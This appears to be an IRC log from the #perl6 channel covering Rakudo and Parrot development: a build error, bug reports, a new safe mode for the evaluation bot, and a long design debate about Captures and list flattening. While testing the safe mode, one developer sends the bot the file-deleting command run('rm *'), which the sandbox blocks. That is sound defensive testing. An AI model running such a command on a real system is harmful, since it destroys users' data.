DanielC pmichaud: I'll tell you in a minute. But I can say right now that moving the 'uc' line after the .subst made the problem go away.
(now I'm just waiting for Rakudo to finish)
andrey_grehov locate libparrot gives nothing, locate parrot - only some data in gentoo portage 14:11
pmichaud DanielC: I'm a little surprised that .subst is making a difference there.
wayland76 Is there a way to create a code reference yet? 14:12
DanielC kills Rakudo
moritz_ rakudo: my $c = { say 3 }; say $c.WHAT
PerlJam wayland76: you mean like my $code = { say "hi" }; ?
p6eval rakudo 8ef347: OUTPUT«Block()␤»
wayland76 Ah :) 14:13
Thanks :)
PerlJam wayland76: you can also use pointy blocks if you want parameters
pmichaud or placeholders :-)
PerlJam (or implicit parameters of course)
moritz_ or subs
wayland76 $usetest = { /$realtest/ };
DanielC pmichaud: Strangely... the problem is unique to 'uc'.
wayland76 That's my highly complex code :)
pmichaud DanielC: that is odd. Definitely worth a mention in rakudobug 14:14
14:14 azawawi joined
pmichaud wayland76: note that you don't need the { ... } in that case 14:14
azawawi hello
DanielC pmichaud: how do I submit a bug report?
pmichaud $usetest = /$realtest/;
(although Rakudo doesn't know how to handle variables in regexes yet)
DanielC: mailto:rakudobug@perl.org
DanielC ok 14:15
andrey_grehov no more ideas ?
wayland76 rakudo: $usetest = /$realtest/; say $usetest.WHAT;
p6eval rakudo 8ef347: OUTPUT«Symbol '$usetest' not predeclared in <anonymous> (/tmp/igPAYc6USx:1)␤in Main (src/gen_setting.pm:3166)␤»
pmichaud DanielC: see also the README file
[particle] rakudo: my $rx = /abc/; print $rx ~~ Block;
p6eval rakudo 8ef347: OUTPUT«1»
azawawi pmichaud: given 'package Foo { package Bar { my $foo; } }', is $foo scoped under Foo::Bar or Bar?
pmichaud azawawi: I don't know.
azawawi: actually, neither, since it's "my" 14:16
moritz_ I'd say Foo::Bar
[particle] that's Foo::Bar::$foo
moritz_ if s/my/our/
14:16 abra left
wayland76 andrey_grehov: If you don't get an answer here, you could take the Parrot error that you just got to the #parrot channel 14:16
[particle] packages create new lexical scopes
azawawi ok
thx
wayland76 andrey_grehov: They're on a different IRC server, though
moritz_ on irc.perl.org
andrey_grehov wayland76: oh..thanks
moritz_: thanks 14:17
wayland76 andrey_grehov: They're on irc.perl.org
andrey_grehov: And if they fix the Parrot errors, but you still have trouble, we're more likely to be able to help
andrey_grehov got it
wayland76 andrey_grehov: Not that we don't want to help, but I personally have no idea :) 14:18
pmichaud andrey_grehov: what happens if you just type "parrot" from the command line (outside of any rakudo or parrot directory)?
or perhaps "which parrot"
wayland76 rakudo: my $usetest = /$realtest/; say $usetest.WHAT; 14:19
p6eval rakudo 8ef347: OUTPUT«Regex()␤»
andrey_grehov wayland76: i see:) np
no such command
which perl : also nothing
pmichaud andrey_grehov: okay.
andrey_grehov which parrot i mean
pmichaud andrey_grehov: the error you're getting is indeed a bit bizarre then. 14:20
DanielC pmichaud: Email sent. 14:22
pmichaud DanielC++ # thanks
andrey_grehov pmichaud: from #parrot: "Andrey_Grehov, that's a very interesting error" :)))))
PerlJam andrey_grehov: that looks like what happens when you try to use an installed parrot versus a dev parrot. 14:24
pmichaud PerlJam: yes, it does look like it, but andrey says there's no other parrot on the system
andrey_grehov PerlJam: yeah..probably that is the root of evil..
pmichaud (perhaps there is and it's just hiding somewhere)
andrey_grehov PerlJam: but I don't see another parrot version installed.. 14:25
wayland76 andrey_grehov: Try running updatedb and then re-running the "locate" commands, if no-one else has any better ideas 14:26
pmichaud I would try "find /usr -name '*parrot*'" 14:27
andrey_grehov ok..let's try this stuff.. 14:28
wayland76 Anyway, it's my bedtime. But remeber everyone, today we got the RPM working :) !!!
andrey_grehov checked via emerge --search - parrot 0.6.1 [Not installed] 14:29
14:29 cmarcelo_ joined
andrey_grehov pmichaud: found *parrot* only in /usr/portage/... 14:30
wayland76 'night all, and thanks :)
pmichaud andrey_grehov: so, it did find parrot stuff? 14:31
andrey_grehov pmichaud: well, it's all relaed to emerge, not an installation ..
pmichaud: pastebin.com/d1b6bedb 14:32
buubot andrey_grehov: The paste d1b6bedb has been copied to erxz.com/pb/17835
DanielC pmichaud: Can I change the title of my ticket? I don't know how the word "But" ended up there (clearly I wasn't paying attention). It should be something like "Problem" or "Error".
14:32 cmarcelo_ left
pmichaud but if emerge provides a libparrot and that is being found by parrot's link stage, then that would explain the errors you're seeing. 14:32
andrey_grehov: is there a libparrot somewhere in /usr/portage/... ? 14:33
andrey_grehov nope
pmichaud very strange.
DanielC: changing the ticket title requires a bugadmin.... I can fix it.
DanielC thks
DanielC makes a mental note... read before hitting "send". 14:34
14:36 cmarcelo_ joined
masak are the :exists and :delete adverbs (on hash elements) blocking on a parser refactor in Rakudo? 14:37
pmichaud yes. 14:39
masak same one, perchance, as :by on ranges? 14:40
pmichaud yes.
basically it's adverbs on operators.
masak ok.
PerlJam Here's a simple bug that took me a few minutes to figure out: for $fh.get -> $line { next if $line ~~ /^#/; ... } # that idiom is so ingrained that I believe it will bite me again in the future :)
moritz_ ;-) 14:41
masak PerlJam: learn that you need to quote all non-\w chars for them to be taken literally.
it's really quite a consistent rule. :)
pmichaud I think PerlJam is referring to the .get
masak oh.
PerlJam actually, I wasn't. I was talking about the regex 14:42
pmichaud although the ^# is also an issue :-)
Oh.
PerlJam What's wrong with the get?
pmichaud $fh.get simply returns a single line.
14:42 justatheory joined
PerlJam then that works by accident? 14:42
moritz_ it's $fh.lines
used to work
PerlJam (because it works with .get)
moritz_ until pmichaud++ fixed it today
masak 'forget for .get' :)
pmichaud PerlJam: it works with .get if you have a version of rakudo older than about 8 hours.
moritz_ (or yesterday, depending on your time zone ;-)
PerlJam updates his rakudo 14:43
Matt-W masak++ # witticism
masak I'll be here all week. Try the veal. 14:44
PerlJam Hrm. with .lines I get a bunch of "Use of uninitialized value" warnings
masak that sounds strange. 14:45
PerlJam oh, nevermind, that's coming from a different part of the code.
14:45 zamolxes left
PerlJam (I forgot to comment out something) 14:45
Matt-W masak: is it that yummy-looking rose veal I hear so much about? 14:46
14:46 cmarcelo left, cmarcelo_ is now known as cmarcelo
masak Matt-W: I think so. I've only tasted it, not seen it. 14:47
PerlJam of course, this is the same bit of code that exhibits weirdness that I can't reproduce in a small test case, so there could be all sorts of other problems too :)
14:55 abra joined
moritz_ so how do I handle a new command line option in Rakudo? do I have to add another stage to the HLLCompiler object? 14:57
jnthn Dispatcher hacking time!
pmichaud moritz_: what option?
moritz_ pmichaud: I'm hacking on a basic safemode 14:58
pmichaud: to disable run(), qx// and open() for the evalbot
pmichaud will what you're doing fit in with S19? 14:59
14:59 ElectricHeavyLan joined
moritz_ pmichaud: dunno, S19 doesn't mention a safe mode 15:00
PerlJam moritz++
pmichaud could it be done with a module of some sort?
i.e., -Msafemode
moritz_ pmichaud: if -Mmodule is implemented, yes 15:01
pmichaud it's not, afaik
and I think it's now --use=module
moritz_ that doesn't import stuff.
moritz@trudi:~/rakudo>perl6 --use=Test -e 'plan 1; ok 1'
Could not find non-existent sub plan
pmichaud right, not implemented.
moritz_ ah well, that might not be necessary for my case 15:02
any objections to creating lib/ to hold Safe.pm or so?
pmichaud no objection, although rakudo doesn't currently know how to look there.
moritz_ with PERL6LIB ;-)
pmichaud and I'm reworking the 'use' logic "right now" 15:03
(like, that's what is happening in my other window)
moritz_ pmichaud: basically my plan is to get something working today, and plug it into evalbot, because tomorrow I'll leave for ~3 weeks
pmichaud in that case, I'd add another stage. See the -c example for guidance. 15:04
moritz_ I'll first try the module approach
with inline PIR 15:05
not *very* safe, but a start
pmichaud seems like you might be able to do something like -e "use Safe; ...code here..."
where Safe.pm simply does the inline PIR to disable the symbols. 15:06
moritz_ I wanted to avoid that
because it migh obscure error message
pmichaud avoid the inline PIR?
moritz_ but it's better than nothing, I guess
no, the 'use Safe;' interpolated into the string 15:07
but I have to
because --use=Safe doesn't even execute the body of Safe.pm
pmichaud --use isn't implemented, afaik.
15:08 azawawi left
pmichaud afk, lunch 15:12
dalek kudo: 5e132db | moritz++ | lib/Safe.pm:
crude initial safe mode
15:13
15:16 ejs1 left
pugs_svn r26943 | moritz++ | [evalbot] try to use Rakudo's new safe mode 15:17
15:18 p6eval left, p6eval joined
moritz_ rakudo: run('ls') 15:19
p6eval rakudo bbf2aa: ( no output )
moritz_ ah, it's not yet compiled
15:20 donaldh left, donaldh joined
jnthn broke say o? 15:22
...a curious achievement. 15:23
moritz_ rakudo: say 3
p6eval rakudo 5e132d: OUTPUT«in module Safe␤3␤»
moritz_ ouch.
15:24 decasm joined
moritz_ I'll fix that in a few minutes 15:24
rakudo: say qx/ls/
p6eval rakudo 5e132d: OUTPUT«in module Safe␤operation not permitted in safe mode␤in Main (lib/Safe.pm:3)␤»
jnthn moritz_++ 15:27
moritz_ rakudo: say 3 15:29
p6eval rakudo b6640c: OUTPUT«3␤»
moritz_ rakudo: run('rm *') 15:30
p6eval rakudo b6640c: OUTPUT«operation not permitted in safe mode␤in Main (lib/Safe.pm:25)␤»
moritz_ rakudo: >
p6eval rakudo b6640c: OUTPUT«Syntax error at line 2, near ">"␤»
moritz_ well, it says "at line 2" now ;-)
dalek kudo: b6640c2 | moritz++ | lib/Safe.pm:
[Safe.pm] remove debugging statement; add documentation
DanielC Question: Can one mix Perl 6 and Parrot assembly language in the same program? You know how in C you can mix in some assembly language if something is performance critical and you can optimize better than the compiler... 15:31
15:31 davidad joined 15:32 andrey_grehov left
PerlJam DanielC: yes. Q:PIR { ... parrot code here ... } 15:36
DanielC: Assuming I remember correctly. 15:37
jnthn Of course, doing that means your code won't run on non-Parrot implementations of Perl 6.
pmichaud: You'll be happy to know that $x.foo now compiles down to a Parrot method call. :-) 15:39
15:40 _Chillance_ joined
jnthn lolwtf...the 10,000 method dispatch benchmark in tools/benchmark.pl now runs faster than the 10,000 sub calls one too. 15:40
15:41 pmurias joined
moritz_ oh wow 15:42
DanielC PerlJam: Cool.
masak ok, so I now have a working implementation of the .bytes method. gist.github.com/118700
running spectests. 15:43
I fear it needs heavy review, though, because I basically don't know what I'm doing.
15:43 iblechbot left
masak my PIR-fu used to be bad before it deteriorated. :P 15:43
jnthn + $P1 = new 'FixedIntegerArray' 15:45
+ set $P1, 1
A 1 element array?
oh, I see how you're using it
masak please explain :)
jnthn yes, sane.
DanielC In which language is Parrot written? It'd be cool if Parrot was self-hosting.
pmurias C
jnthn DanielC: Well, it's written in C, and C is self hosting, so... ;-)
DanielC :-) 15:46
pugs_svn r26944 | pmurias++ | [re-smop] capture.delegate
r26945 | pmurias++ | [re-smop] [re-mildew] fix t/role.t
PerlJam the FixedIntegerArray is just to get the characters into a FixedInteger?
jnthn masak: Two bits of feedback.
masak jnthn: yes, please.
jnthn PerlJam: No, it's for use with sprintf
pmurias DanielC: Parrot will propably will be able to run c
jnthn masak: I find PIR more readable using .local pmc a_good_name_here style register names than $P0 15:47
PerlJam sprintf won't work with an I-reg directly?
jnthn For stuff that's used over the long term.
masak jnthn: consider it done.
jnthn masak: Also
masak: Please put it in the setting. You can write it in PIR stuff, but wrap it in a Perl 6 method body.
masak oki. 15:48
jnthn masak: Then you get junction auto-threading working on it.
masak this was easier, and I didn't want too many unknowns.
but now I'll definitely do that.
jnthn masak: Yes, appreciated.
masak I also think I can avoid the division by 2 if I change the sprintf
15:50 icwiener joined
jnthn digs into getting multi-method dispatch working again properly under the new dispatcher. 15:50
skids jnthn: you can do .local in Q:PIR now? 15:54
jnthn skids: I think you always have been able to?
skids doesn't seem to recall that working, 15:55
masak skids: it works.
skids cool!
moritz_ rakudo: Q:PIR { .local foo ␤ foo = 3 ␤ print foo }
jnthn fail
p6eval rakudo b6640c: ( no output )
jnthn .local int foo
moritz_ rakudo: Q:PIR { .local int foo ␤ foo = 3 ␤ print foo }
masak there is an example in IO::Socket::INET
moritz_ yes, just noticed 15:56
p6eval rakudo b6640c: ( no output )
jnthn ah, hmm
moritz_ rakudo: Q:PIR { print 3 }
p6eval rakudo b6640c: OUTPUT«3»
moritz_ rakudo: Q:PIR { .local int foo ␤ print 3 }
15:56 Chillance left
p6eval rakudo b6640c: OUTPUT«3» 15:56
moritz_ rakudo: Q:PIR { .local int foo ␤ foo = 3 ␤ print 3 } 15:57
p6eval rakudo b6640c: OUTPUT«3»
moritz_ rakudo: Q:PIR { .local int foo ␤ foo = 3 ␤ print foo }
p6eval rakudo b6640c: OUTPUT«3»
skids moritz_: did you fix it just by using it? .o0O(WTF) 15:59
masak hm. spectest of the first version done. failures in t/spec/S12-methods/indirect_notation.rakudo and t/spec/S32-num/log.rakudo. seems unrelated -- anything to be concerned about?
moritz_ masak: log.t should not fail, only have passing TODOs
jnthn t/spec/S12-methods/indirect_notation.rakudo is known br0ken due to Parrotbug 16:00
moritz_ indirect_notation.t is known to fail with a newer parrot
masak moritz_: oh right. that's what it has. 16:02
yes, I have a newer Parrot. living on the edge.
pmurias ruoso: hi 16:10
masak new version of the .bytes method, now in the setting, and with descriptive .local names: gist.github.com/118700 16:12
pmichaud jnthn: (dispatcher) excellent! Any estimate about merging to master?
pugs_svn r26946 | pmurias++ | [re-mildew] new on punned classes
masak I don't have time to run spectest now, and I still want to see if I can improve the PIR. I'll commit sometime tonight.
pmichaud I'm currently working on fixing import and use -- the "is export" in setting isn't working properly atm. 16:13
jnthn pmichaud: Some way off yet.
pmichaud jnthn: okay.
jnthn: I look forward to it, though :-)
jnthn pmichaud: This is a pretty sizable refactor.
It's going well, it just touches a lot of stuff.
pmichaud jnthn: yes, I know. I'm a bit wary of making too many significant changes as long as your branch is outstanding.
PerlJam $handle.lines seems to always give me an extra line 16:15
masak PerlJam: tell me about it.
jnthn pmichaud: What changes are you wanting to do? If they're not in the areas of dispatch (and roles, since I need to re-think punning and other stuff there a bit) there's probably small chance of conflict at the moment.
masak PerlJam: (known bug, that is)
PerlJam ah
pmichaud jnthn: well, I have quite a few in the queue. The big ones are use/import refactoring (very small chance of conflict) and Array/List refactoring (somewhat larger chance of conflict) 16:16
masak PerlJam: it's a Parrot deficiency.
jnthn pmichaud: use/import, yes, agree.
pmichaud masak/PerlJam: it's a Parrot deficiency, but one that we're likely to have to work around.
16:17 iblechbot joined
masak pmichaud: one that _every_ HLL is likely to want to work around. 16:17
jnthn pmichaud: I really don't want to block you, but I kinda hit a point where I needed to change a lot of stuff.
pmichaud jnthn: I don't feel terribly blocked -- I have plenty to work on, including some important refactors.
I just am curious on the eta's and status so I can estimate when to schedule my tasks
ruoso hi pmurias 16:18
jnthn pmichaud: Let me see how spectest is looking after I've got multi-method dispatch re-worked.
pmichaud jnthn: excellent
jnthn pmichaud: That'll give me a good idea of the fallout.
moritz_ colorline-- # cancelling my booking 16:21
TimToady rakudo: sub foo ($x) { say [1,2,$x].elems }; my @a = <a b c d>; foo(@a) 16:22
p6eval rakudo b6640c: OUTPUT«3␤»
TimToady rakudo: my @a = <a b c d>; my $a := @a; say [1,2,$a].elems
p6eval rakudo b6640c: OUTPUT«6␤»
TimToady that should be 3
has that bug been reported? 16:23
pmichaud No.
16:23 fridim_ left
pmichaud I know that in general we want $a to always be treated as an item scalar, but how are we to detect that internally? 16:23
i.e., what is special about the $a := @a binding?
TimToady nothing is special about the binding 16:24
ruoso TimToady, please take a look at a message I post few hours ago about threading and events...
TimToady it's that there's nothing at the point of interpolation with the @ nature
pmichaud would it be true that $a =:= @a ?
TimToady yes
pmichaud so how does [1,2,$a] differ from [1,2,@a] ?
TimToady the second one has the @ nature 16:25
pmichaud and we know that because...?
syntactically?
ruoso pmichaud, because it goes as argument to infix:<,>
pmurias ruoso: should capture .FETCH call the .FETCH on the first positional?
because in my $foo = sub {my $bar = 1;return $bar;}.(); a container gets stored into $foo
pmichaud ruoso but if $a =:= @a, then infix:<,> doesn't really see anything different.
ruoso pmichaud, what I meant is that it isn't different from foo(@a) vs foo($a) 16:26
pmichaud ruoso: right, but clearly [1,2,@a].elems should be 6
ruoso if foo has :(*@args) as signature
pmichaud while TimToady says [1,2,$a].elems should be 3
I'm curious what distinguishes the flatten-versus-non-flatten behavior there
(or interpolate-versus-non-interpolate) 16:27
ruoso oh... right...
that after $a := @a
TimToady as with string interpolation, it's syntax
ruoso (the sigil has to be of use for something...)
TimToady objects never flatten unless there's something explicit there to do so
(we might have to special case .list) 16:28
ruoso TimToady, but does it flatten completely? or just the first level?
16:28 masak left
ruoso i.e.: 16:28
TimToady each list is in charge of its own flattening
ruoso my @a := (1,2,(3,4,(5,6)));
$a = [1,2,@a];
16:28 fridim_ joined
ruoso how many elements does $a have? 16:28
pmichaud 8.
moritz_ agreed 16:29
TimToady despite being marked syntactically, flattening is lazy
and happens only in list context
ruoso so infix:<,> is the one doing the flattening there?
TimToady that is, flattening interpolates a capture rather than an object 16:30
pmichaud: yes (...) makes a Capture now
PerlJam so, why 8 and not 5 exactly? flattening is recursive?
moritz_ speaking of captures... is my $x = \3; say $$$$x legal?
TimToady which is why it has the list vs item semantics upon binding
pmichaud TimToady: so (1,2,3) is a Capture with three positionals or one positional? 16:31
ruoso pmichaud, three
TimToady 3
ruoso TimToady, when does the flattening occur in [1,2,@a] ? 16:32
TimToady yes, the @ puts its innards into list context
ruoso is it in infix:<,>, circumfix:<[ ]> or ... ?
pmichaud it's the @
ruoso hmm... I don't really see how that happens... 16:33
pmichaud that does make something like foo(@a,@b) slightly more challenging, though.
TimToady more specifically, it turns its Array into a Capture, interpolates that into the argument list, and when that argument list is bound within .[], it flattens because the Capture finds itself in a slurpy
[], not .[]
16:33 dukeleto joined
ruoso so circumfix:<[ ]> is the one doing the flattening 16:33
pmichaud ruoso: it's not the [ ] that flattens, it's the list context 16:34
ruoso pmichaud, the list context is lazy
pmichaud arrays flatten in list context
ruoso pmichaud, it might be or not flattened later
depends on the signature
TimToady which is supplied by []
pmichaud oh yes, that's correct.
the [ ] supplies the list context, which then does the flattening/interpolation 16:35
but I'm still confused as to how the [ ] can distinguish @a versus $a, then
ruoso it's a *kind of* assignemnt
TimToady the binding of the slurpy will see either an Array object or a Capture
pmichaud I guess it's that the compiler converts the @a into a Capture
TimToady the Array is just an object
ruoso pmichaud, I guess it's the compiler too 16:36
TimToady objects never flatten without help
ruoso trying to figure out how to easily produce a Capture for the Array 16:37
pmichaud the same holds for hashes, as well? i.e., %h ends up being a Capture ?
TimToady yeah, that's the fun part
pmichaud and that capture is a positional list of pairs?
ruoso TimToady, how that relates with |@foo? 16:39
TimToady well, most efficiently we might have a Capture delegating to an Array or Hash somehow
just to avoid extra copying
ruoso if foo(@bar) already has @bar as a Capture
what is the difference to foo(|@bar) 16:40
pmichaud that's why I was asking if (1,2,3) had 1 element or 3 :-)
TimToady | promotes the @ capture into the arglist's capture
ruoso right... but...
16:40 pmurias left
TimToady when you say foo(@bar) the @bar is a Capture of Capture 16:40
ruoso so you're saying that the slurpies are the key... 16:41
TimToady er, the arglist is that
ruoso since slurpies will consume the argslists flattened
pmichaud so, foo(@bar, 2) has an arglist with a Capture of 2 positionals
foo(|@bar, 2) has an arglist with a Capture of @bar+1 positionals 16:42
TimToady the 1st of which is the Capture holding @bar
correct
ruoso a Capture holding the contents of bar
not a Capture with @bar inside
TimToady well, the latter could be an optimization, sometimes 16:43
if you can rule out side effects
16:43 Psyche^ joined
ruoso not optimization, since it depends on the signature 16:43
if foo has ($a,$b) as signature
it will get @bar into $a
and 2 into $b
TimToady but certainly for @foo = (1,@foo), you'd better not clobber @foo
pmichaud in the first call, yes.
ruoso but if the signature has :(*@items) 16:44
pmichaud foo(|@bar, 2) fails to match sub foo($a, $b) if @bar has more/less than 1 element.
TimToady correct
ruoso exactly...
but if the signature has :(*@items)
@items will contain the contents of @bar and 2 flattened
lambdabot Unknown command, try @list
pmichaud if the signature is :(*@items), then foo(@bar, 2) and foo(|@bar, 2) are effectively the same.
ruoso exactly 16:45
because the slurpy is the thing doing the flattening
TimToady precisement
pmichaud right, slurpy imposes list context
16:45 jferrero left
ruoso imposes flattening 16:45
PerlJam I guess foo(@bar,2) having @bar as a capture is how sub foo ([$head,*$tail], $other) { ... } would work?
ruoso list context by itself doesn't mean flattening
since the flattening is lazy
TimToady PerlJam: yes 16:46
ruoso but it wouldn't requre [ ]
TimToady there is no list context until binding
ruoso foo(($head,*$tail), $other) would also work
pmichaud I'm still unclear as to how hashes get handled in this case 16:47
ruoso TimToady, if the signature is :(@bar) and you do foo( (1,2,(3,4,(5,6))) )... it won't be flattened immediatly
TimToady except that the @ applies to the insides of @bar as a list context, so maybe it does 16:48
pmichaud my %h = (a=>1, b=>2); say [3, 4, %h].elems
TimToady 4, I hope
16:48 cmv joined
pmichaud my %h = (a=>1, b=>2); say %h<a>; 16:49
the postcircumfix is performed on ... ?
a Hash or a Capture ?
TimToady a Hash
DanielC Why is $/ called like that? It looks like an array. Isn't @/[0] more consistent than $/[0] ?
TimToady invocants are always objects
pmichaud so, we only convert @/% to Captures when there's no postcircumfix?
ruoso we need a syntax mark of when @a and %h are captures
looking at the previous [3,4,%h] example 16:50
PerlJam but a Hash or an Array can each be viewed as a Capture that only exposes one interface (the Capture-ish parts can be elided as an optimization)
TimToady we only convert to Capture in an argument list, where that includes inside (...)
and we only convert top-level nodes within the list 16:51
ruoso sub foo(*@items) {...}; foo(%h);
pmichaud Just a second while I parse that.
ruoso sub foo(*%items) {...}; foo(%h);
16:51 iblechbot left
TimToady PerlJam: yes, I was suggesting that optimization earlier 16:51
pmichaud ruoso: the second one doesn't match.
ruoso that sounds inconsistent
pmichaud (no positional argument) 16:52
er, no positional parameter
ruoso no named, you mean...
pmichaud no named argument
ruoso that sounds inconsistent
pmichaud but it doesn't match because foo() doesn't have a positional parameter to bind to %h
not because there aren't any named arguments 16:53
ruoso ah
ok
pmichaud so, in [1,2,%h] the 1,2,%h is an argument list to circumfix:<[ ]> . Okay, I can buy that.
TimToady yes, you'd have to write |%h to get the second to match
pmichaud and the argument list syntactically checks its top-level nodes for variables with sigils of @ and % 16:54
TimToady I think realistically we can't convert an Array or Hash to a Capture, only to rebind it as a single positional
that would be stupid
(if it involves copying)
and we can't copy it anyway 16:55
pmichaud I don't think it involves copying on our end
I think it's all just bindings
TimToady because we might want to bind to "is rw"
pmichaud (i.e., on the Rakudo side it all just looks like a bunch of bindings)
TimToady but we need a CaptureArray and CaptureHash, or some such
which contains the ref to the actual Array or Hash, but knows it can flatten in list context
ruoso but wouldn't the slurpy look at a higher level?
pmichaud fwiw, Rakudo currently does "CaptureArray" and "CaptureHash" as simple references. 16:56
they flatten in list context but act like scalars in item context
ruoso I was considering implementing that as a proxy object
TimToady then rakudo needs to distinguish [1,2,Array] from [1,2,Capturearray] 16:57
pmichaud right
TimToady to give 3 vs 6
pmichaud the tricky part is that the distinction is syntactic -- we weren't doing that before now
our distinction wasn't syntactic
ruoso and it isn't something that can be done before @a is actually used there
since $a := @a doesn't change the object 16:58
TimToady it's only sorta syntactic
pmichaud what rakudo needs to know to do is to convert [1,2,@a] into [1,2,flattening reference to @a]
TimToady the latter of which pretends to be a Capture
ruoso only sees a proxy object as the solution right now
pmichaud Yes
essentially our references are "light Captures" 16:59
TimToady but I think this is the right way to do it, because
16:59 Patterner left, Psyche^ is now known as Patterner
TimToady (having though about it all weekend) 16:59
pmichaud the corollary to Captures being "fat references" :-)
TimToady *thought
the simple binding and the simple scalar semantics are the normal case
and the listy/hashy stuff should be the special case
so instead of playing binding games between $ and @, we have to play the games at the use end of $ vs @ 17:00
note that $a.list can still work, even though not syntactically distinguished
17:00 pyrimidine joined
pmichaud sure, that's no problem. 17:00
TimToady the .list is syntax, the @ is syntax, but they're still just a run-time operation
pmichaud okay, that confuses me. 17:01
if you mean simply that @ implies a .list, I could go for that.
TimToady any time you see @a as an argument (not invocant), desugar to @a.list
or maybe @a.capture 17:02
yes
pmichaud And @a would still be considered an argument in something like @a + 3
TimToady hmm, and \@a actually desugares to @a :)
s/res/rs/
pmichaud having \@a desugar to @a seems wrongish. 17:03
TimToady pmichaud: yes, those are args
pmichaud I'll have to work through the ramifications of \@a
TimToady though arguably in forced item context, so maybe we can skip it
pmichaud: maybe that's the deep reason that \ cannot be an operator 17:04
pmichaud well, we don't always know at compile time if @a + 3 is forced item context, do we?
ruoso pmichaud, except that you know all the multi variants at compile time
TimToady I suppose not, though we do know the candidate list at compile time, generally
unless some pragma has introduced package multis into the scheme 17:05
which we don't do by default
pmichaud so, skipping the .list is an optimization in the case of @a + 3
TimToady and that's why we don't
I think so
pmichaud with
my @a = 1..5; for 6,7,\@a { .say }
how many iterations? 17:06
TimToady 3
17:06 eMaX_ joined, eMaX left
pmichaud so \@a doesn't desugar to @a 17:06
TimToady when I say desugar to @a, I mean to the bare object
pmichaud okay
TimToady not to the surface form @a
call it $@a maybe 17:07
ruoso VAR(@A).FETCH
(but FETCH is only used in SMOP, so far)
(probably .item
TimToady in fact, we could even throw out the \@a form and use $@a if we wanted to 17:08
@a as a scalar
lambdabot Maybe you meant: activity activity-full admin all-dicts arr ask . ? @ v
TimToady maybe lambdabot should go jump in a lake 17:09
since \@a doesn't actually mean to make a capture, but the opposite
hmm, and since bare () does captures, we could throw out \ entirely 17:10
pmichaud yes, I was just thinking that.
TimToady that's kinda wowish
ruoso TimToady, it might be relevant to notice that I always explained \ as "enclosing the capture in a scalar"
pmichaud does this mean that (3) is now a Capture? 17:11
ruoso yes...
TimToady sure, but turns into 3 in item context
ruoso but single-item captures return the item in item context
but... should it be recursive?
pmichaud seems expensive to be construction/deconstructing captures.
*constructing
and I'm not sure how much optimization we get here 17:12
ruoso sub foo { return (((((((3))))))) }; my $a = foo();
TimToady well, for (3) itself we can strip them at compile time
pmichaud (3 + foo())
TimToady since 3 is the same value in list context
the capture returned by foo cannot be reduced without knowledge
pmichaud right 17:13
TimToady such as the declared return value of foo
(or of all the foo candidates, taken togethre)
er
pmichaud where does Capture fall in the role/object class "hierarchy" ? 17:14
TimToady but again it boils down to optimizability depends on knowing all the candidates at compile time
pmichaud or do we never actually see a Capture ?
ruoso TimToady, in the (((3))) example above... does 3 get extracted recursively?
TimToady not sure it does
ruoso: presumably
ruoso so the Capture DWIM is recursive
pmichaud in my thinking about them, it's seemed more and more to me as though Captures are invisible internal constructs rather than things that make themselves felt at the object level 17:15
TimToady they're more like junctions that way, yes
ruoso pmichaud, for the regular user, they won't ever be visible for sure
pmichaud in that sense, they feel like "phlogiston" to me
i.e., we use them to explain things that are really something else 17:16
TimToady they are QM
entangle these arguments as a unit
pmichaud QM I could agree with.
ruoso QM as in Quantum Mechanics?
TimToady and again, like junctions that way
QM is all about lazy evaluation :)
skids sub foo { for (1..5) { ... } }; foo(); # <-- capture, but lazy? I'm unclear as to the lazy status of Capture is all
TimToady or lazy context 17:17
pmichaud skids: in that example, the loop does execute all 5 iterations before returning, yes.
ruoso skids, Capture is as lazy as you get...
TimToady statements are observations, aka, sequence points 17:18
they cause collapse
but more directly, bindings cause collapse of captures
we could rename captures to tangles :)
pmichaud tangles +0.5 17:19
TimToady to avoid confusion with match capture
PerlJam because when you're messing with them, that's how you feel: tangled.
moritz_ what would we gain from a rename?
ruoso TimToady, I'm not sure you can remove the confusion
since you can use match capture as arglist 17:20
that's how Faz works
pmichaud but even there, it's based on the hash/list aspect of match, yes?
not the match itself as a capture
skids sial.org/pbot/36837 # then, am I off the rails somehow, or does this need thought? 17:21
(not saying to think about it now, but...)
pmichaud I think the biggest gain from a rename is that the word "capture" doesn't really (pardon pun) capture the sense of what it's doing.
pyrimidine Does 'tangle' work better? 17:22
17:22 cmarcelo left
pmichaud I think 'arglist' might be most appropriate 17:23
since we typically talk about binding to signatures
($a, $b, $c) is now an argument list
there is also the question as to when List appears now.
i.e., do we have a List type? 17:24
and is it distinct from Capture?
17:24 Lectus left 17:25 explorer joined
pmichaud or is a List just a Capture with no named arguments? 17:25
TimToady yesterday I was thinking that List would probably go away
pmichaud Perhaps List is actually Capture, and the existing List/Mapping go away.
TimToady not Mapping
that's different
pmichaud and what we bind to a signature is a List
TimToady Mapping is pairs, but in the positional slots 17:26
pmichaud okay
TimToady a capture is a stream of in-band values with a set of out-of-band metadata
pmichaud I guess I'm arguing that what we call a "List" should be that.
TimToady in those terms, the Mapping's pairs are in-band
pmichaud but I guess that messes up things like (1, 2, :a, :b) 17:27
because that should have 4 elements.
17:27 meppl joined
PerlJam If you call it a Tangle, we can segue into some Bob Dylan songs fairly easily ;) 17:27
skids How about a Spooky? :-) 17:28
TimToady I've always thought the named args should behave as positional until they find themselves in a binding context
pmichaud that could help with things like say 1, 2, :a, :b
TimToady maybe 17:29
pmichaud (more)
jnthn pmichaud: Going for dinner now, but gist.github.com/118766 shows you where my refactor currenlty stands in terms of the tests.
pmichaud also, if we have to be sensitive to syntax for things like 1,2,@a,@b versus 1,2,$a,$b already, it doesn't seem too far a leap to have to do the same for 1,2,:a,:b 17:30
TimToady we're already sensitive to whether a pair might be named or not 17:31
pmichaud exactly
it seems like there should be a unification here
as we have to be sensitive to whether a variable is array/scalar/hash in an arglist
TimToady what we're adding back is the ability to be lazy about whether the list is bound somewhere that wants named args
and keep them as positional if not
pmichaud so, what we seem to end up with is something that is strictly List (of positionals), but there's a way to affect it's binding 17:32
*its
TimToady if we do away with List, we could shorten arglist to list, and just say that a list can contain pairs that, it some circumstances, can be harvested as out-of-band metadata
pmichaud just as it can contain arrays/hashes that, in some circumstances, interpolate/flatten in a list context? 17:33
TimToady where we know with a function call or listop, that this is going to happen
PerlJam calling it a list seems somewhat like a lie IMHO. lists are simple things, these things are more complicated 17:34
TimToady but arglist is ugly
pmichaud PerlJam: what TimToady describes remains very simple at present.
skids arglist--
pmichaud the complication isn't in the list itself, but in the way it responds to binding
TimToady and the design issue is how soon we can optimize out the named arguments so they don't have to be harvested on every call from the positional list 17:35
that must happen at compile time in most cases
and can probably continue with the same distinction we already use for that 17:36
so that (...) hides named args
